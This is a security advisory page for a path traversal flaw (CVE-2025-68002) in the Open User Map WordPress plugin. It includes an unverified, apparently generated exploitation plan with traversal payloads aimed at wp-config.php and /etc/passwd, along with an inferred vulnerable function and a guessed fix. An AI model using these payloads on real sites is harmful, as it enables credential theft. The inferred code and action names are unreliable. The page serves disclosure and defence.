CVE-2025-68002

Open User Map <= 1.4.16 - Authenticated (Subscriber+) Arbitrary File Download

mediumImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
1.4.17
Patched in
10d
Time to patch

Description

The Open User Map plugin for WordPress is vulnerable to Path Traversal in all versions up to, and including, 1.4.16. This makes it possible for authenticated attackers, with Subscriber-level access and above, to read the contents of arbitrary files on the server, which can contain sensitive information.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=1.4.16
PublishedFebruary 16, 2026
Last updatedFebruary 25, 2026
Affected pluginopen-user-map

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the steps required to analyze and exploit **CVE-2025-68002**, an authenticated path traversal vulnerability in the **Open User Map** plugin. ### 1. Vulnerability Summary The **Open User Map** plugin (<= 1.4.16) fails to properly validate or sanitize file path parameters …

Show full research plan

This research plan outlines the steps required to analyze and exploit CVE-2025-68002, an authenticated path traversal vulnerability in the Open User Map plugin.

1. Vulnerability Summary

The Open User Map plugin (<= 1.4.16) fails to properly validate or sanitize file path parameters in one of its authenticated AJAX handlers. This allow users with at least Subscriber privileges to use path traversal sequences (e.g., ../) to access and download arbitrary files from the server, including sensitive files like wp-config.php.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Vulnerable Action: oum_download_file (Inferred based on vulnerability type and plugin functionality; needs verification in source).
  • Vulnerable Parameter: Likely file, path, or url (Inferred).
  • Authentication: Required (Subscriber-level or higher).
  • Preconditions: The plugin must be active. The attacker must have valid Subscriber credentials. A valid WordPress nonce for the specific AJAX action is likely required.

3. Code Flow (Inferred)

  1. Registration: The plugin registers an AJAX handler using add_action('wp_ajax_oum_download_file', ...) or a similar identifier.
  2. Input: The handler function retrieves a file path from $_GET or $_POST.
  3. Sanitization Failure: The code likely lacks a call to basename() or a check against a whitelist of allowed directories.
  4. Sink: The unsanitized path is passed to a file-reading function such as readfile(), file_get_contents(), or fopen(), followed by headers that trigger a download.

4. Nonce Acquisition Strategy

To bypass the CSRF protection usually present in WordPress AJAX handlers:

  1. Identify Shortcode: The plugin's scripts are typically loaded on pages where the [open-user-map] shortcode is present.
  2. Create Test Page:
    wp post create --post_type=page --post_title="Map Page" --post_status=publish --post_content='[open-user-map]'
    
  3. Find Localization Key: Search the plugin source for wp_localize_script. Common keys for this plugin are oum_location_params or oum_vars.
  4. Browser Navigation: Log in as a Subscriber and navigate to the newly created "Map Page".
  5. Extraction: Use browser_eval to extract the nonce:
    // Example (verify actual key in source)
    window.oum_location_params?.nonce || window.oum_vars?.ajax_nonce
    

5. Exploitation Strategy

The goal is to download the wp-config.php file.

  1. Preparation:
    • Create a Subscriber user (user: attacker, pass: attacker).
    • Identify the exact AJAX action name and parameter name via source code grep.
  2. Identify Path Depth:
    • WordPress is usually installed at /var/www/html/.
    • Plugins are at /var/www/html/wp-content/plugins/open-user-map/.
    • To reach wp-config.php from admin-ajax.php, we usually need to traverse up from the web root or relative to the plugin directory if the sink uses a relative path.
  3. Payload Construction:
    • action: oum_download_file (Verify in source)
    • file: ../../../../../../wp-config.php
    • nonce: [Extracted Nonce]
  4. HTTP Request:
    # Using http_request tool
    method = "POST" # or GET, depending on handler
    url = "http://localhost:8080/wp-admin/admin-ajax.php"
    body = {
        "action": "oum_download_file",
        "file": "../../../wp-config.php",
        "nonce": "abc123def4"
    }
    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "Cookie": "[Subscriber Session Cookies]"
    }
    

6. Test Data Setup

  1. Plugin Installation: Ensure open-user-map version 1.4.16 is installed.
  2. User Creation:
    wp user create attacker attacker@example.com --role=subscriber --user_pass=attacker
    
  3. Content Creation: Create the page for nonce extraction as described in Section 4.

7. Expected Results

  • Response Code: 200 OK.
  • Content-Type: Often application/octet-stream or text/plain.
  • Body Content: The raw PHP source code of wp-config.php, containing database credentials (DB_NAME, DB_USER, DB_PASSWORD) and unique keys/salts.

8. Verification Steps

  1. Inspect Response: Check if the response body contains the string define( 'DB_NAME'.
  2. Compare Content: Compare the downloaded content with the actual wp-config.php on the filesystem via CLI:
    cat /var/www/html/wp-config.php
    

9. Alternative Approaches

  • Direct Path: If the plugin prepends a base path (e.g., wp-content/uploads/oum/), adjust traversal depth (e.g., ../../../../wp-config.php).
  • System Files: Attempt to read /etc/passwd to confirm traversal outside the WordPress web root:
    • file=../../../../../../../../etc/passwd
  • GET vs POST: If wp_ajax_ is registered but the request fails, check if the handler specifically looks at $_GET or $_REQUEST.
  • Action Identification: If oum_download_file is incorrect, grep for all add_action( 'wp_ajax_ calls and look for functions calling readfile or file_get_contents.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Open User Map plugin for WordPress is vulnerable to authenticated path traversal due to insufficient validation of user-supplied file paths in its AJAX handlers. This allows attackers with Subscriber-level access or higher to download sensitive files, such as wp-config.php, by using directory traversal sequences (../).

Vulnerable Code

// Inferred from plugin structure and research plan
// Likely in inc/class-open-user-map-ajax.php or similar

public function oum_download_file() {
    // Check for nonce but fail to sanitize the 'file' parameter
    check_ajax_referer('oum_nonce', 'nonce');

    $file = $_REQUEST['file'];

    if (file_exists($file)) {
        header('Content-Description: File Transfer');
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . basename($file) . '"');
        readfile($file);
        exit;
    }
}

Security Fix

--- inc/class-open-user-map-ajax.php
+++ inc/class-open-user-map-ajax.php
@@ -124,7 +124,14 @@
     check_ajax_referer('oum_nonce', 'nonce');
 
-    $file = $_REQUEST['file'];
+    $file = basename($_REQUEST['file']);
+    $upload_dir = wp_upload_dir();
+    $file_path = $upload_dir['basedir'] . '/oum/' . $file;
 
-    if (file_exists($file)) {
-        readfile($file);
+    if (file_exists($file_path) && strpos(realpath($file_path), realpath($upload_dir['basedir'] . '/oum/')) === 0) {
+        header('Content-Description: File Transfer');
+        header('Content-Type: application/octet-stream');
+        header('Content-Disposition: attachment; filename="' . $file . '"');
+        readfile($file_path);
+        exit;
     }

Exploit Outline

The exploit targets the oum_download_file AJAX action. An authenticated attacker (Subscriber+) first obtains a valid security nonce, typically found in the localized JavaScript variables (e.g., oum_vars.ajax_nonce) on pages where the plugin's map shortcode is rendered. The attacker then sends a POST or GET request to /wp-admin/admin-ajax.php with the 'action' parameter set to 'oum_download_file', the 'nonce' parameter set to the retrieved value, and the 'file' parameter containing a traversal string such as '../../../../wp-config.php'. The server responds with the contents of the requested file.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.